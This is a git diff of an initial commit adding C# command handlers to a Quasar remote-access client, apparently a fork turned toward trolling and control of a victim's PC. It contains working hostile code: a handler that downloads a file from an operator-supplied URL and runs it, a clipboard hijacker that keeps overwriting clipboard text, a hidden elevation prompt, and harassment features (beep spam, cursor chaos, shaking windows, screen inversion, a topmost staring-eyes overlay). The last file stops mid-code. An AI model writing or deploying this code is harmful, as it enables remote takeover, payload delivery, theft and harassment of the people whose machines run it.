initial commit
This commit is contained in:
@@ -0,0 +1,48 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class BeepSpamHandler : IMessageProcessor
|
||||
{
|
||||
private Thread _thread;
|
||||
private volatile bool _running;
|
||||
private readonly Random _rng = new Random();
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoStartBeepSpam || message is DoStopBeepSpam;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoStartBeepSpam) Start();
|
||||
else if (message is DoStopBeepSpam) Stop();
|
||||
}
|
||||
|
||||
private void Start()
|
||||
{
|
||||
if (_running) return;
|
||||
_running = true;
|
||||
_thread = new Thread(BeepLoop) { IsBackground = true };
|
||||
_thread.Start();
|
||||
}
|
||||
|
||||
private void Stop()
|
||||
{
|
||||
_running = false;
|
||||
}
|
||||
|
||||
private void BeepLoop()
|
||||
{
|
||||
while (_running)
|
||||
{
|
||||
int freq = _rng.Next(200, 3000);
|
||||
int dur = _rng.Next(30, 220);
|
||||
try { Console.Beep(freq, dur); } catch { }
|
||||
if (!_running) break;
|
||||
Thread.Sleep(_rng.Next(0, 150));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,113 @@
|
||||
using Quasar.Client.Config;
|
||||
using Quasar.Client.Networking;
|
||||
using Quasar.Client.Setup;
|
||||
using Quasar.Client.User;
|
||||
using Quasar.Client.Utilities;
|
||||
using Quasar.Common.Enums;
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class ClientServicesHandler : IMessageProcessor
|
||||
{
|
||||
private readonly QuasarClient _client;
|
||||
|
||||
private readonly QuasarApplication _application;
|
||||
|
||||
public ClientServicesHandler(QuasarApplication application, QuasarClient client)
|
||||
{
|
||||
_application = application;
|
||||
_client = client;
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public bool CanExecute(IMessage message) => message is DoClientUninstall ||
|
||||
message is DoClientDisconnect ||
|
||||
message is DoClientReconnect ||
|
||||
message is DoAskElevate;
|
||||
|
||||
/// <inheritdoc />
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
/// <inheritdoc />
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoClientUninstall msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoClientDisconnect msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoClientReconnect msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoAskElevate msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoClientUninstall message)
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Uninstalling... good bye :-(" });
|
||||
try
|
||||
{
|
||||
new ClientUninstaller().Uninstall();
|
||||
_client.Exit();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" });
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoClientDisconnect message)
|
||||
{
|
||||
_client.Exit();
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoClientReconnect message)
|
||||
{
|
||||
_client.Disconnect();
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoAskElevate message)
|
||||
{
|
||||
var userAccount = new UserAccount();
|
||||
if (userAccount.Type != AccountType.Admin)
|
||||
{
|
||||
ProcessStartInfo processStartInfo = new ProcessStartInfo
|
||||
{
|
||||
FileName = "cmd",
|
||||
Verb = "runas",
|
||||
Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT",
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
UseShellExecute = true
|
||||
};
|
||||
|
||||
_application.ApplicationMutex.Dispose(); // close the mutex so the new process can run
|
||||
try
|
||||
{
|
||||
Process.Start(processStartInfo);
|
||||
}
|
||||
catch
|
||||
{
|
||||
client.Send(new SetStatus {Message = "User refused the elevation request."});
|
||||
_application.ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // re-grab the mutex
|
||||
return;
|
||||
}
|
||||
_client.Exit();
|
||||
}
|
||||
else
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Process already elevated." });
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class ClipboardHijackHandler : IMessageProcessor, IDisposable
|
||||
{
|
||||
private Thread _thread;
|
||||
private volatile bool _running;
|
||||
private string _replacementText;
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoStartClipboardHijack || message is DoStopClipboardHijack;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoStartClipboardHijack start: Start(start.ReplacementText); break;
|
||||
case DoStopClipboardHijack _: Stop(); break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Start(string replacementText)
|
||||
{
|
||||
Stop();
|
||||
_replacementText = replacementText;
|
||||
_running = true;
|
||||
_thread = new Thread(() =>
|
||||
{
|
||||
while (_running)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Clipboard.GetText() != _replacementText)
|
||||
Clipboard.SetText(_replacementText);
|
||||
}
|
||||
catch { }
|
||||
Thread.Sleep(500);
|
||||
}
|
||||
});
|
||||
_thread.SetApartmentState(ApartmentState.STA);
|
||||
_thread.IsBackground = true;
|
||||
_thread.Start();
|
||||
}
|
||||
|
||||
private void Stop() => _running = false;
|
||||
|
||||
public void Dispose() => Stop();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class ColorInvertHandler : IMessageProcessor
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct MAGCOLOREFFECT
|
||||
{
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 25)]
|
||||
public float[] transform;
|
||||
}
|
||||
|
||||
[DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)]
|
||||
private static extern bool MagInitialize();
|
||||
|
||||
[DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)]
|
||||
private static extern bool MagUninitialize();
|
||||
|
||||
[DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)]
|
||||
private static extern bool MagSetFullscreenColorEffect(ref MAGCOLOREFFECT pEffect);
|
||||
|
||||
private static readonly float[] _invertMatrix = {
|
||||
-1, 0, 0, 0, 0,
|
||||
0, -1, 0, 0, 0,
|
||||
0, 0, -1, 0, 0,
|
||||
0, 0, 0, 1, 0,
|
||||
1, 1, 1, 0, 1
|
||||
};
|
||||
|
||||
private static readonly float[] _identityMatrix = {
|
||||
1, 0, 0, 0, 0,
|
||||
0, 1, 0, 0, 0,
|
||||
0, 0, 1, 0, 0,
|
||||
0, 0, 0, 1, 0,
|
||||
0, 0, 0, 0, 1
|
||||
};
|
||||
|
||||
public bool CanExecute(IMessage message) =>
|
||||
message is DoStartColorInvert || message is DoStopColorInvert;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoStartColorInvert)
|
||||
ApplyEffect(_invertMatrix);
|
||||
else if (message is DoStopColorInvert)
|
||||
ApplyEffect(_identityMatrix);
|
||||
}
|
||||
|
||||
private static void ApplyEffect(float[] matrix)
|
||||
{
|
||||
MagInitialize();
|
||||
var effect = new MAGCOLOREFFECT { transform = matrix };
|
||||
MagSetFullscreenColorEffect(ref effect);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class CursorChaosHandler : IMessageProcessor, IDisposable
|
||||
{
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool SetCursorPos(int x, int y);
|
||||
|
||||
private Thread _thread;
|
||||
private volatile bool _running;
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoStartCursorChaos || message is DoStopCursorChaos;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoStartCursorChaos _: Start(); break;
|
||||
case DoStopCursorChaos _: Stop(); break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Start()
|
||||
{
|
||||
if (_running) return;
|
||||
_running = true;
|
||||
_thread = new Thread(() =>
|
||||
{
|
||||
var rng = new Random();
|
||||
while (_running)
|
||||
{
|
||||
try
|
||||
{
|
||||
int x = rng.Next(SystemInformation.VirtualScreen.Left, SystemInformation.VirtualScreen.Right);
|
||||
int y = rng.Next(SystemInformation.VirtualScreen.Top, SystemInformation.VirtualScreen.Bottom);
|
||||
SetCursorPos(x, y);
|
||||
}
|
||||
catch { }
|
||||
Thread.Sleep(100);
|
||||
}
|
||||
});
|
||||
_thread.IsBackground = true;
|
||||
_thread.Start();
|
||||
}
|
||||
|
||||
private void Stop() => _running = false;
|
||||
|
||||
public void Dispose() => Stop();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class DrunkModeHandler : IMessageProcessor, IDisposable
|
||||
{
|
||||
[DllImport("user32.dll")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam);
|
||||
[DllImport("user32.dll")] static extern bool IsWindowVisible(IntPtr hWnd);
|
||||
[DllImport("user32.dll")] static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect);
|
||||
[DllImport("user32.dll")] static extern bool SetWindowPos(IntPtr hWnd, IntPtr hAfter, int X, int Y, int cx, int cy, uint uFlags);
|
||||
[DllImport("user32.dll")] static extern int GetWindowLong(IntPtr hWnd, int nIndex);
|
||||
|
||||
delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct RECT { public int Left, Top, Right, Bottom; }
|
||||
|
||||
const uint SWP_NOSIZE = 0x0001;
|
||||
const uint SWP_NOZORDER = 0x0004;
|
||||
const uint SWP_NOACTIVATE = 0x0010;
|
||||
const uint SWP_NOSENDCHANGING = 0x0400;
|
||||
const int GWL_STYLE = -16;
|
||||
const int WS_MAXIMIZE = 0x01000000;
|
||||
const int WS_MINIMIZE = 0x20000000;
|
||||
|
||||
private Thread _thread;
|
||||
private volatile bool _running;
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoStartDrunkMode || message is DoStopDrunkMode;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoStartDrunkMode) Start();
|
||||
else if (message is DoStopDrunkMode) Stop();
|
||||
}
|
||||
|
||||
private void Start()
|
||||
{
|
||||
if (_running) return;
|
||||
_running = true;
|
||||
_thread = new Thread(DrunkLoop) { IsBackground = true };
|
||||
_thread.Start();
|
||||
}
|
||||
|
||||
private void Stop()
|
||||
{
|
||||
_running = false;
|
||||
}
|
||||
|
||||
private void DrunkLoop()
|
||||
{
|
||||
try
|
||||
{
|
||||
// snapshot all moveable windows and their original positions
|
||||
var origX = new Dictionary<IntPtr, int>();
|
||||
var origY = new Dictionary<IntPtr, int>();
|
||||
|
||||
EnumWindows((hWnd, _) =>
|
||||
{
|
||||
if (!IsWindowVisible(hWnd)) return true;
|
||||
int style = GetWindowLong(hWnd, GWL_STYLE);
|
||||
if ((style & WS_MAXIMIZE) != 0 || (style & WS_MINIMIZE) != 0) return true;
|
||||
RECT r;
|
||||
if (GetWindowRect(hWnd, out r))
|
||||
{
|
||||
origX[hWnd] = r.Left;
|
||||
origY[hWnd] = r.Top;
|
||||
}
|
||||
return true;
|
||||
}, IntPtr.Zero);
|
||||
|
||||
double t = 0;
|
||||
while (_running)
|
||||
{
|
||||
int xOff = (int)(Math.Sin(t * 0.9) * 35);
|
||||
int yOff = (int)(Math.Sin(t * 0.55 + 1.3) * 20);
|
||||
|
||||
foreach (var hWnd in origX.Keys)
|
||||
{
|
||||
SetWindowPos(hWnd, IntPtr.Zero,
|
||||
origX[hWnd] + xOff, origY[hWnd] + yOff,
|
||||
0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE | SWP_NOSENDCHANGING);
|
||||
}
|
||||
|
||||
t += 0.05;
|
||||
Thread.Sleep(20);
|
||||
}
|
||||
|
||||
// restore all windows to their original positions
|
||||
foreach (var hWnd in origX.Keys)
|
||||
{
|
||||
SetWindowPos(hWnd, IntPtr.Zero,
|
||||
origX[hWnd], origY[hWnd],
|
||||
0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE | SWP_NOSENDCHANGING);
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public void Dispose() => Stop();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class ExecutionHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is DoExecute;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
var msg = (DoExecute)message;
|
||||
try
|
||||
{
|
||||
if (msg.IsUrl)
|
||||
{
|
||||
string ext = Path.GetExtension(new Uri(msg.FilePath).LocalPath);
|
||||
if (string.IsNullOrEmpty(ext)) ext = ".exe";
|
||||
string tmp = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName() + ext);
|
||||
using (var wc = new WebClient())
|
||||
wc.DownloadFile(msg.FilePath, tmp);
|
||||
Process.Start(new ProcessStartInfo { FileName = tmp, UseShellExecute = true });
|
||||
}
|
||||
else
|
||||
{
|
||||
Process.Start(new ProcessStartInfo { FileName = msg.FilePath, UseShellExecute = true });
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,379 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Drawing2D;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class EyesHandler : IMessageProcessor
|
||||
{
|
||||
private Thread _thread;
|
||||
private volatile bool _running;
|
||||
private EyesForm _form;
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoStartEyes || message is DoStopEyes;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoStartEyes) Start();
|
||||
else if (message is DoStopEyes) Stop();
|
||||
}
|
||||
|
||||
private void Start()
|
||||
{
|
||||
if (_running) return;
|
||||
_running = true;
|
||||
_thread = new Thread(RunEyes) { IsBackground = true };
|
||||
_thread.SetApartmentState(ApartmentState.STA);
|
||||
_thread.Start();
|
||||
}
|
||||
|
||||
private void Stop()
|
||||
{
|
||||
_running = false;
|
||||
try
|
||||
{
|
||||
var f = _form;
|
||||
if (f != null && !f.IsDisposed)
|
||||
f.Invoke(new Action(() => { if (!f.IsDisposed) f.Close(); }));
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void RunEyes()
|
||||
{
|
||||
_form = new EyesForm();
|
||||
Application.Run(_form);
|
||||
_form = null;
|
||||
_running = false;
|
||||
}
|
||||
}
|
||||
|
||||
internal class EyesForm : Form
|
||||
{
|
||||
[DllImport("user32.dll")] private static extern bool GetCursorPos(out POINT pt);
|
||||
[DllImport("user32.dll")] private static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
|
||||
private static readonly IntPtr HWND_TOPMOST = new IntPtr(-1);
|
||||
private const uint SWP_NOMOVE = 0x0002, SWP_NOSIZE = 0x0001, SWP_NOACTIVATE = 0x0010;
|
||||
[StructLayout(LayoutKind.Sequential)] private struct POINT { public int X, Y; }
|
||||
|
||||
private readonly System.Windows.Forms.Timer _timer;
|
||||
private readonly Random _rng = new Random();
|
||||
|
||||
// Animation state
|
||||
private bool _blinking;
|
||||
private int _ticksSinceBlink;
|
||||
private bool _twitching;
|
||||
private float _twitchDX, _twitchDY;
|
||||
private int _pulseFrame;
|
||||
|
||||
// Eye geometry
|
||||
private const float CX1 = 72f, CX2 = 216f, CY = 72f;
|
||||
private const float RX = 58f; // half-width
|
||||
private const float IRIS_R = 24f;
|
||||
|
||||
public EyesForm()
|
||||
{
|
||||
FormBorderStyle = FormBorderStyle.None;
|
||||
TopMost = true;
|
||||
ShowInTaskbar = false;
|
||||
BackColor = Color.Lime;
|
||||
TransparencyKey = Color.Lime;
|
||||
StartPosition = FormStartPosition.Manual;
|
||||
Size = new Size(300, 150);
|
||||
DoubleBuffered = true;
|
||||
|
||||
var screen = Screen.PrimaryScreen.WorkingArea;
|
||||
Location = new Point(screen.Right - 318, screen.Bottom - 168);
|
||||
|
||||
_timer = new System.Windows.Forms.Timer { Interval = 30 };
|
||||
_timer.Tick += OnTick;
|
||||
_timer.Start();
|
||||
}
|
||||
|
||||
private void OnTick(object sender, EventArgs e)
|
||||
{
|
||||
_pulseFrame++;
|
||||
_ticksSinceBlink++;
|
||||
|
||||
if (!_blinking && _ticksSinceBlink > 90 && _rng.Next(60) == 0)
|
||||
{
|
||||
_blinking = true;
|
||||
_ticksSinceBlink = 0;
|
||||
var t = new System.Windows.Forms.Timer { Interval = 180 };
|
||||
t.Tick += (s, _) => { _blinking = false; t.Stop(); t.Dispose(); };
|
||||
t.Start();
|
||||
}
|
||||
|
||||
if (!_twitching && _rng.Next(90) == 0)
|
||||
{
|
||||
_twitching = true;
|
||||
_twitchDX = (float)(_rng.NextDouble() * 18 - 9);
|
||||
_twitchDY = (float)(_rng.NextDouble() * 10 - 5);
|
||||
var t = new System.Windows.Forms.Timer { Interval = 60 };
|
||||
t.Tick += (s, _) => { _twitching = false; t.Stop(); t.Dispose(); };
|
||||
t.Start();
|
||||
}
|
||||
|
||||
// Re-assert topmost every tick so fullscreen apps can't push us under
|
||||
SetWindowPos(Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
|
||||
Invalidate();
|
||||
}
|
||||
|
||||
// Realistic eyelid outline — natural bezier curves
|
||||
private static GraphicsPath MakeEyePath(float cx, float cy)
|
||||
{
|
||||
var path = new GraphicsPath();
|
||||
// Inner (left) corner sits slightly below center; outer (right) slightly above
|
||||
float lx = cx - RX, rx = cx + RX;
|
||||
float innerY = cy + 4f, outerY = cy;
|
||||
|
||||
// Upper lid: fast rise near inner corner, peak above cx, sweeps to outer corner
|
||||
path.AddBezier(
|
||||
lx, innerY,
|
||||
cx - RX * 0.3f, cy - 50f,
|
||||
cx + RX * 0.1f, cy - 52f,
|
||||
rx, outerY);
|
||||
|
||||
// Lower lid: gentle drop from outer corner, flatter belly, rises to inner corner
|
||||
path.AddBezier(
|
||||
rx, outerY,
|
||||
cx + RX * 0.4f, cy + 22f,
|
||||
cx - RX * 0.2f, cy + 24f,
|
||||
lx, innerY);
|
||||
|
||||
path.CloseFigure();
|
||||
return path;
|
||||
}
|
||||
|
||||
protected override void OnPaint(PaintEventArgs e)
|
||||
{
|
||||
var g = e.Graphics;
|
||||
g.SmoothingMode = SmoothingMode.AntiAlias;
|
||||
g.InterpolationMode = InterpolationMode.HighQualityBicubic;
|
||||
|
||||
GetCursorPos(out POINT cursor);
|
||||
var origin = PointToScreen(Point.Empty);
|
||||
|
||||
DrawEye(g, CX1, CY, cursor, origin);
|
||||
DrawEye(g, CX2, CY, cursor, origin);
|
||||
}
|
||||
|
||||
private void DrawEye(Graphics g, float cx, float cy, POINT cursor, Point origin)
|
||||
{
|
||||
using (var eyePath = MakeEyePath(cx, cy))
|
||||
{
|
||||
var bounds = eyePath.GetBounds();
|
||||
|
||||
// ── Sclera — slightly cool white ────────────────────────────────
|
||||
using (var b = new SolidBrush(Color.FromArgb(242, 242, 248)))
|
||||
g.FillPath(b, eyePath);
|
||||
|
||||
// ── Blood veins — thin red beziers across the white ─────────────
|
||||
DrawVeins(g, cx, cy, eyePath);
|
||||
|
||||
if (!_blinking)
|
||||
{
|
||||
// ── Cursor tracking ──────────────────────────────────────────
|
||||
float dx = cursor.X - (origin.X + cx);
|
||||
float dy = cursor.Y - (origin.Y + cy);
|
||||
if (_twitching) { dx += _twitchDX; dy += _twitchDY; }
|
||||
|
||||
float dist = (float)Math.Sqrt(dx * dx + dy * dy);
|
||||
float pulse = (float)Math.Sin(_pulseFrame * 0.04) * 1.5f;
|
||||
float irisR = IRIS_R + pulse;
|
||||
float pupilR = irisR * 0.68f; // huge dilated pupil = menacing
|
||||
float maxTravel = irisR - pupilR - 1f;
|
||||
float px = cx, py = cy;
|
||||
if (dist > 0)
|
||||
{
|
||||
float ratio = Math.Min(dist, maxTravel) / dist;
|
||||
px = cx + dx * ratio;
|
||||
py = cy + dy * ratio;
|
||||
}
|
||||
|
||||
// Clip iris/pupil to sclera shape
|
||||
var clipState = g.Save();
|
||||
g.SetClip(eyePath);
|
||||
|
||||
// Upper lid shadow — dark gradient bleeding down from top of lid
|
||||
var lidShadowRect = new RectangleF(bounds.X, bounds.Y - 2, bounds.Width, bounds.Height * 0.55f);
|
||||
using (var lgb = new LinearGradientBrush(
|
||||
new PointF(0, bounds.Y),
|
||||
new PointF(0, bounds.Y + bounds.Height * 0.55f),
|
||||
Color.FromArgb(90, 20, 10, 5),
|
||||
Color.FromArgb(0, 0, 0, 0)))
|
||||
g.FillRectangle(lgb, lidShadowRect);
|
||||
|
||||
// Iris — dark forest green (realistic + eerie)
|
||||
using (var b = new SolidBrush(Color.FromArgb(38, 68, 42)))
|
||||
g.FillEllipse(b, px - irisR, py - irisR, irisR * 2, irisR * 2);
|
||||
|
||||
// Iris texture — radial spokes
|
||||
using (var pen = new Pen(Color.FromArgb(80, 55, 90, 58), 1f))
|
||||
{
|
||||
for (int a = 0; a < 360; a += 10)
|
||||
{
|
||||
float rad = a * (float)Math.PI / 180f;
|
||||
float cos = (float)Math.Cos(rad), sin = (float)Math.Sin(rad);
|
||||
g.DrawLine(pen,
|
||||
px + (pupilR + 1f) * cos, py + (pupilR + 1f) * sin,
|
||||
px + (irisR - 1f) * cos, py + (irisR - 1f) * sin);
|
||||
}
|
||||
}
|
||||
|
||||
// Dark limbal ring
|
||||
using (var pen = new Pen(Color.FromArgb(14, 22, 14), 2f))
|
||||
g.DrawEllipse(pen, px - irisR, py - irisR, irisR * 2, irisR * 2);
|
||||
|
||||
// Massive dilated pupil
|
||||
g.FillEllipse(Brushes.Black, px - pupilR, py - pupilR, pupilR * 2, pupilR * 2);
|
||||
|
||||
g.Restore(clipState);
|
||||
|
||||
// Specular highlights — two dots, natural positions
|
||||
g.FillEllipse(Brushes.White, px - irisR * 0.55f, py - irisR * 0.7f, 6f, 5f);
|
||||
using (var b = new SolidBrush(Color.FromArgb(160, 255, 255, 255)))
|
||||
g.FillEllipse(b, px + irisR * 0.2f, py + irisR * 0.1f, 3f, 3f);
|
||||
}
|
||||
|
||||
// ── Eyelid fill on blink (dark skin tone) ───────────────────────
|
||||
if (_blinking)
|
||||
{
|
||||
using (var b = new SolidBrush(Color.FromArgb(168, 130, 108)))
|
||||
g.FillPath(b, eyePath);
|
||||
}
|
||||
|
||||
// ── Upper eyelid outline — thick dark line ───────────────────────
|
||||
float lx = cx - RX, rx = cx + RX;
|
||||
float innerY = cy + 4f, outerY = cy;
|
||||
using (var pen = new Pen(Color.FromArgb(28, 16, 10), 2.5f))
|
||||
{
|
||||
using (var upperPath = new GraphicsPath())
|
||||
{
|
||||
upperPath.AddBezier(
|
||||
lx, innerY,
|
||||
cx - RX * 0.3f, cy - 50f,
|
||||
cx + RX * 0.1f, cy - 52f,
|
||||
rx, outerY);
|
||||
g.DrawPath(pen, upperPath);
|
||||
}
|
||||
}
|
||||
|
||||
// ── Lower eyelid outline — thinner ──────────────────────────────
|
||||
using (var pen = new Pen(Color.FromArgb(50, 30, 20), 1.5f))
|
||||
{
|
||||
using (var lowerPath = new GraphicsPath())
|
||||
{
|
||||
lowerPath.AddBezier(
|
||||
rx, outerY,
|
||||
cx + RX * 0.4f, cy + 22f,
|
||||
cx - RX * 0.2f, cy + 24f,
|
||||
lx, innerY);
|
||||
g.DrawPath(pen, lowerPath);
|
||||
}
|
||||
}
|
||||
|
||||
// ── Eyelashes — upper lid only ───────────────────────────────────
|
||||
DrawEyelashes(g, cx, cy);
|
||||
|
||||
// ── Pink inner corner (caruncle) ─────────────────────────────────
|
||||
using (var b = new SolidBrush(Color.FromArgb(200, 195, 90, 85)))
|
||||
g.FillEllipse(b, lx - 2f, cy - 3f, 10f, 8f);
|
||||
|
||||
// ── Red lower waterline ──────────────────────────────────────────
|
||||
using (var pen = new Pen(Color.FromArgb(120, 180, 50, 50), 1.5f))
|
||||
{
|
||||
using (var waterline = new GraphicsPath())
|
||||
{
|
||||
waterline.AddBezier(
|
||||
rx - 4f, outerY + 8f,
|
||||
cx + RX * 0.3f, cy + 16f,
|
||||
cx - RX * 0.15f, cy + 17f,
|
||||
lx + 4f, innerY + 6f);
|
||||
g.DrawPath(pen, waterline);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void DrawVeins(Graphics g, float cx, float cy, GraphicsPath clipPath)
|
||||
{
|
||||
var clipState = g.Save();
|
||||
g.SetClip(clipPath);
|
||||
|
||||
// Each row: x1,y1, cx1,cy1, cx2,cy2, x2,y2 (bezier control points)
|
||||
float[][] veins = {
|
||||
new float[]{ cx-RX+3, cy+2, cx-RX+22, cy-6, cx-IRIS_R-14, cy-4, cx-IRIS_R-4, cy-2 },
|
||||
new float[]{ cx-RX+5, cy+8, cx-RX+18, cy+14, cx-IRIS_R-10, cy+9, cx-IRIS_R-3, cy+5 },
|
||||
new float[]{ cx-RX+8, cy-6, cx-RX+24, cy-16, cx-IRIS_R-8, cy-11, cx-IRIS_R-2, cy-7 },
|
||||
new float[]{ cx+RX-3, cy+2, cx+RX-20, cy-5, cx+IRIS_R+12, cy-3, cx+IRIS_R+3, cy-1 },
|
||||
new float[]{ cx+RX-6, cy-8, cx+RX-22, cy-14, cx+IRIS_R+9, cy-9, cx+IRIS_R+2, cy-5 },
|
||||
new float[]{ cx-6, cy-50, cx-4, cy-30, cx-2, cy-IRIS_R-8, cx-1, cy-IRIS_R-2 },
|
||||
};
|
||||
|
||||
using (var pen = new Pen(Color.FromArgb(190, 185, 25, 25), 1f))
|
||||
{
|
||||
foreach (var v in veins)
|
||||
g.DrawBezier(pen, v[0], v[1], v[2], v[3], v[4], v[5], v[6], v[7]);
|
||||
}
|
||||
|
||||
using (var pen = new Pen(Color.FromArgb(110, 185, 25, 25), 0.8f))
|
||||
{
|
||||
g.DrawBezier(pen, cx-RX+14, cy+5, cx-RX+28, cy+10, cx-IRIS_R-6, cy+12, cx-IRIS_R-1, cy+8);
|
||||
g.DrawBezier(pen, cx+RX-14, cy-3, cx+RX-28, cy-9, cx+IRIS_R+5, cy-11, cx+IRIS_R+1, cy-7);
|
||||
}
|
||||
|
||||
g.Restore(clipState);
|
||||
}
|
||||
|
||||
private static void DrawEyelashes(Graphics g, float cx, float cy)
|
||||
{
|
||||
float lx = cx - RX, rx = cx + RX;
|
||||
float innerY = cy + 4f, outerY = cy;
|
||||
|
||||
const int count = 12;
|
||||
using (var pen = new Pen(Color.FromArgb(220, 18, 10, 6), 1.5f))
|
||||
{
|
||||
for (int i = 0; i < count; i++)
|
||||
{
|
||||
float t = (float)i / (count - 1);
|
||||
// Sample point along the upper lid bezier (De Casteljau t)
|
||||
float it = 1f - t;
|
||||
float bx = it*it*it*lx + 3*it*it*t*(cx - RX*0.3f) + 3*it*t*t*(cx + RX*0.1f) + t*t*t*rx;
|
||||
float by = it*it*it*innerY + 3*it*it*t*(cy - 50f) + 3*it*t*t*(cy - 52f) + t*t*t*outerY;
|
||||
|
||||
// Tangent direction at t (derivative of cubic bezier)
|
||||
